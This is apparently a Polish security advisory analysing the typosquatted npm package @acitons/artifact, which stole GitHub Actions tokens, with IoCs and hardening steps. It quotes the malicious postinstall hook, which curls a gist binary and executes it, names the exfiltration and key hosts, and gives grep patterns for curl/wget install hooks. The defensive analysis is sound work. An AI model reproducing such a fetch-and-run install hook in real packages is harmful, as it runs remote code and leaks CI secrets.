
Co znajdziesz w tym artykule?
- 1 Wprowadzenie do problemu / definicja luki
- 2 W skrócie
- 3 Kontekst / historia / powiązania
- 4 Analiza techniczna / szczegóły luki
- 5 Praktyczne konsekwencje / ryzyko
- 6 Rekomendacje operacyjne / co zrobić teraz
- 7 Różnice / porównania z innymi przypadkami (jeśli dotyczy)
- 8 Podsumowanie / kluczowe wnioski
- 9 Źródła / bibliografia
Wprowadzenie do problemu / definicja luki
Badacze wykryli złośliwy pakiet npm @acitons/artifact będący klasycznym typosquattingiem na @actions/artifact (oficjalny pakiet GitHub Actions odpowiedzialny za artefakty CI/CD). Celem kampanii było uruchomienie złośliwego skryptu w środowisku budowania, kradzież tokenów dostępnych w jobach GitHub Actions i potencjalne publikowanie artefaktów jako GitHub (impersonacja organizacji) lub dalsza eskalacja w łańcuchu dostaw. Źródłem technicznych szczegółów jest analiza Veracode, na którą powołuje się m.in. The Hacker News.
W skrócie
- Złośliwy pakiet:
@acitons/artifact– literówka „acitons” zamiast „actions”. - Wersje zawierające malware: od 4.0.12 do 4.0.17 (usunięte przez sprawcę; najnowsza „bezpieczna” na npm pozostawała 4.0.10 w chwili publikacji).
- Mechanizm infekcji:
postinstallwpackage.jsonpobierał binarkęharness, która wykonywała obfuskowany shell/JS (verify.js). - Cele: repozytoria należące do organizacji GitHub; skrypt kończył działanie, jeśli właścicielem nie był
github. - Dane wykradane: zmienne
GITHUB_*(np. tokeny) i egfiltracja w formie zaszyfrowanej do hostów w domenieapp.github.dev. - Skala: ~47 405 pobrań w sumie (wg npm-stat) i ~31 398 tygodniowo w szczycie.
- Powiązany pakiet:
8jfiesaf83(również złośliwy, usunięty).
Kontekst / historia / powiązania
Ekosystem npm od miesięcy mierzy się z eskalacją ataków na łańcuch dostaw: kompromitacje maintainerów, typosquatting, złośliwe hooki instalacyjne i łańcuchowe infekcje jobów CI/CD. Jesienią 2025 r. CISA i partnerzy ostrzegali o „szeroko zakrojonej kompromitacji” w npm oraz rekomendowali rotację poświadczeń i wzmocnienie polityk publikacji. W tym tle atak na @acitons/artifact wpisuje się w trend uderzeń w pipeline’y CI/CD i tokeny automatyzacji.
Warto przypomnieć, że oryginalny @actions/artifact jest komponentem wewnętrznym dla akcji upload/download-artifact i jest powszechnie używany w workflow GitHub Actions — co czyni go łakomym kąskiem dla typosquattingu.
Analiza techniczna / szczegóły luki
Wejście wektorowe (typosquatting):
Atak polegał na publikacji pakietu @acitons/artifact (zamiana „ti”→„it”) z metadanymi sugerującymi powiązanie z oficjalnym repo actions/toolkit. Tego typu literówkę łatwo przeoczyć w zależnościach lub w logach CI.
Hook instalacyjny
W złośliwych wersjach (4.0.12–4.0.17) w package.json umieszczono skrypt:
"scripts": {
"postinstall": "curl https://gist.githubusercontent.com/.../harness -o ci_test_harness && chmod +x ci_test_harness && ./ci_test_harness"
}
Plik harness był obfuskowanym skryptem powłoki (skompilowanym narzędziem „Shell Script Compiler”) z mechanizmem samorestartu i datą ważności (kill switch) po 2025-11-06 UTC. Jego łańcuch uruchomienia wydobywał z siebie paczkę Node z obfuskowanym verify.js.
Warunki celu i eksfiltracjaverify.js sprawdzał obecność zmiennych GITHUB_* ustawianych w jobach Actions i opuszczał działanie, jeśli repozytorium nie należało do organizacji github. Zebrane dane szyfrowano AES (klucz pobierany z hosta w hopto[.]org) i eksfiltrację kierowano do pliku hostowanego w subdomenie app.github.dev. To minimalizowało „szum” detekcyjny (legalnie wyglądająca domena) i utrudniało korelację.
Wskaźniki kompromitacji (IoC)
Veracode podaje m.in.:
- Pakiety/wersje:
@acitons/artifact@4.0.12…4.0.17,8jfiesaf83@1.0.0…1.0.11 - Konta npm/GitHub:
blakesdev,jmasdg,f8snaf,s0larized - Hash:
e3a6d0d139dc56f28f82ec161b3d17ecd137b088acd3a0e8330a5d412c025b73(próbka)
Skala pobrań
Szacunki z npm-stat wskazują ~47 tys. pobrań łącznie i ~31 tys. w tygodniu kulminacyjnym, co pokazuje, jak szybko typosquat może wejść w obieg przy minimalnym tarciu. (Uwaga: npm-stat aktualizuje się z opóźnieniem dobowym).
Praktyczne konsekwencje / ryzyko
- Kompromitacja GITHUB_TOKEN i sekretów joba → możliwość podszycia się pod organizację, publikacja artefaktów, modyfikacja release’ów, dołączanie złośliwych komponentów do pipeline’u.
- Zaufanie do artefaktów — jeśli token wycieknie, atakujący może „zatrącać” supply chain na kolejnych etapach (downstream).
- Trudna detekcja — domeny pokrewne GitHubowi (
app.github.dev) i logika warunkowa ograniczająca cel do organizacjigithubzmniejszają widoczność incydentu w telemetrii. - Efekt kaskadowy — na tle wcześniejszych kampanii npm (CISA, wrzesień 2025) widać, że ataki na CI/CD są trendem, nie anomalią.
Rekomendacje operacyjne / co zrobić teraz
1) Natychmiastowe działania reagowania (IR)
Skan IoC i historię buildów:
- Przeskanuj logi pipeline’ów i rejestry artefaktów pod kątem użycia
@acitons/artifact(dowolnej wersji) i8jfiesaf83. - Zweryfikuj, czy w Twojej organizacji nie pojawiały się odwołania do kont
blakesdev,jmasdg,f8snaf,s0larizedlub do domen*.app.github.dev/*.hopto.orgw kontekście jobów CI.
Rotacja sekretów:
- Wymuś rotację
GITHUB_TOKENoraz innych sekretów występujących w workflow, w których mogło dojść do instalacji z npm (w tym w jobach uruchamiającychnpm i). Rekomendację rotacji w podobnych zdarzeniach wspiera CISA.
2) Szybkie „bezpieczniki” w pipeline
Wyłącz postinstall w środowiskach CI:
# Na stałe w agentach CI (globalnie):
npm config set ignore-scripts true
# Lub per-run (preferowane w CI):
npm ci --ignore-scripts
# (analogicznie dla pnpm/yarn: pnpm i --ignore-scripts / yarn install --ignore-scripts)
Wymuś „no-audit” z repo zaufanym (tylko jeśli masz wewn. mirror/air-gap):
npm config set registry https://twoj-nexus-proxy.example.com/repository/npm/
Blokuj nieznane przestrzenie nazw (scope’y) i typosquatting
- Użyj allow-list dla scope’ów/kont dostawców w SCA/ASPM (np. blokuj wszystko poza
@actions/,@org-wewnętrzna/itd.). - Włącz reguły detekcji typosquattingu (Levenshtein ≤1 dla krytycznych pakietów).
Pinuj wersje i hashe artefaktów
- W GitHub Actions ustaw
permissions:na minimalne, wyłączpersist-credentialsw checkout, pinuj akcje po SHA zamiast po@vX.
Przykład minimalnego szablonu:
name: ci
on: [push]
permissions:
contents: read
actions: read
id-token: none
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<commit-sha>
with:
persist-credentials: false
- uses: actions/setup-node@<commit-sha>
with:
node-version: '20'
- run: npm ci --ignore-scripts
- run: npm audit --audit-level=high || true
- name: Upload artifact
uses: actions/upload-artifact@<commit-sha>
with:
name: build-output
path: dist/
Waliduj artefakty (digesty)
GitHub dokumentuje mechanizmy weryfikacji digestu między upload/download-artifact — korzystaj z nich, egzekwuj walidację w pipeline.
3) Detekcja i hunting
Wykrywanie „podejrzanych” postinstalli w lockfile/repo:
# Prosty hunting w node_modules (CI/cache build):
grep -R --line-number '"postinstall":' node_modules 2>/dev/null
# Szukanie curl/wget w hookach instalacyjnych:
grep -R --line-number -E 'postinstall.*(curl|wget)' node_modules 2>/dev/null
Kontrola zależności w SCA/ASPM
Zaimportuj IoC i listę złośliwych wersji do narzędzia SCA (część vendorów – w tym Veracode – dodała sygnatury).
Blokowanie egress
Segmentuj sieć agentów CI; blokuj wyjścia na dynamiczne hosty (np. *.hopto.org) i egzekwuj mTLS / egress allow-list dla ruchu z jobów.
4) Higiena developerów
- Uczul zespół na literówki w scope’ach (
@acitonsvs@actions). - Włącz
npm ci(reproducible builds) zamiastnpm install. - Wymuś code review zmian w
package.json/package-lock.jsoni monitoruj PR-y dodające nowe zależności (policy-as-code).
Różnice / porównania z innymi przypadkami (jeśli dotyczy)
- Ataki łańcucha dostaw w npm (IX–X 2025): liczne incydenty (m.in. masowe kompromitacje i kradzieże krypto przez biblioteki zależności) uderzały szeroko w użytkowników. Bieżąca kampania różni się wąsko ukierunkowanym celem (GitHub-owned repos) oraz warunkową logiką ograniczającą aktywację poza organizacją GitHub — to bardziej „surgical strike” niż atak masowy.
- W przeciwieństwie do kompromitacji istniejących, popularnych pakietów, tutaj mieliśmy typosquatting podszywający się pod powszechnie używany komponent pipelines. To zmienia wektory prewencji: ważniejsze staje się allow-listing i kontrola nazewnictwa niż tylko zaufanie do maintainerów.
Podsumowanie / kluczowe wnioski
- Typosquatting + postinstall w ekosystemie npm nadal skutecznie omija czujność zespołów, zwłaszcza w CI.
- Atak na
@acitons/artifactpokazał, że tokeny CI/CD są celem samym w sobie; ich kradzież umożliwia podszywanie się i dalszą kompromitację supply chain. - Operacyjne „bezpieczniki” (ignore-scripts w CI, pinning po SHA, minimalne
permissions, allow-list scope’ów) istotnie ograniczają powierzchnię ataku. - Utrzymuj telemetrię i hunting na hooki instalacyjne i nietypowe egressy z agentów CI.
- Reaguj: przeszukaj buildy, rotuj sekrety, sprawdź artefakty i audytuj zależności.
Źródła / bibliografia
- The Hacker News — Researchers Detect Malicious npm Package Targeting GitHub-Owned Repositories (11 listopada 2025). (The Hacker News)
- Veracode — Malicious NPM Package Found Targeting GitHub By Typosquatting on GitHub Action Packages (10 listopada 2025) — analiza techniczna i IoC. (Veracode)
- npm-stat — statystyki pobrań
@acitons/artifact. (npm-stat.com) - GitHub Docs — walidacja artefaktów (digest) w Actions. (GitHub Docs)
- CISA — alert dot. szerokiej kompromitacji łańcucha dostaw w npm (wrzesień 2025) — tło i zalecenia. (CISA)